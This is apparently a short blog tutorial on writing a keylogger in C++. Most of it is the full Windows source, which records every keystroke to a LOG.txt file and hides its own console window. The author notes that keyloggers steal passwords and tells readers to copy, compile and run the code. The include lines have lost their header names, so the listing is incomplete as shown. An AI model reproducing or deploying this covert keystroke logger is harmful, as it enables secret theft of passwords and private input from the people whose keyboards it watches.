HOW TO CREATE KEYLOGGER USING C++.?
Any Idea about keylogger..?
Keylogger is a software program that is used to monitor and log each of the keys a user types into a computer keyboard.In this way keylogger steals user information such as passwords and sends it to the Hacker.
There are many Key loggers in the market , but never mind, we are programmers and we develop our version of the tool.
copy the below code, compile and run it. Once you run the program you can see the “log” file created along with the executable ones
CODE :
#include
#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Test it on your PC and have fun
